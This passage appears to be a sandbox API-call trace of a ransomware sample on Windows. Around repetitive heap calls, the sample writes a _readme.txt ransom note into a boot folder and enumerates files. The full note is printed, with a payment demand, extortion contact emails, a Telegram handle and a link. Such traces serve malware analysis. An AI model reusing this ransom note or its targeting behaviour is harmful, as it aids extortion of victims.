hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.658] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.658] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.658] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.658] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.658] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.658] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.658] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.658] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.658] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.658] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.658] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.658] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.658] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.658] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.658] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.658] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.658] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.658] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.658] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.658] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.658] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.658] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.658] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.658] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.658] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0124.658] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.658] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.658] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.658] PathFindFileNameW (pszPath="") returned="" [0124.659] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.659] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.659] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.659] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.659] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.659] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.659] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.659] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.659] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0124.659] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.659] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.659] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 0 [0124.660] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.660] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.660] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.660] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.660] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_readme.txt" (normalized: "c:\\boot\\tr-tr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.660] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.660] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.660] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.660] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.660] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.661] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.661] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.661] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.661] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.661] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.661] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.661] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.661] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.661] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.661] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.661] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.661] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.661] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.661] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.661] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.661] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.661] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.661] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.661] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.661] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.661] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.661] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.661] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.661] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.661] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.661] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.664] RtlAllocateHeap 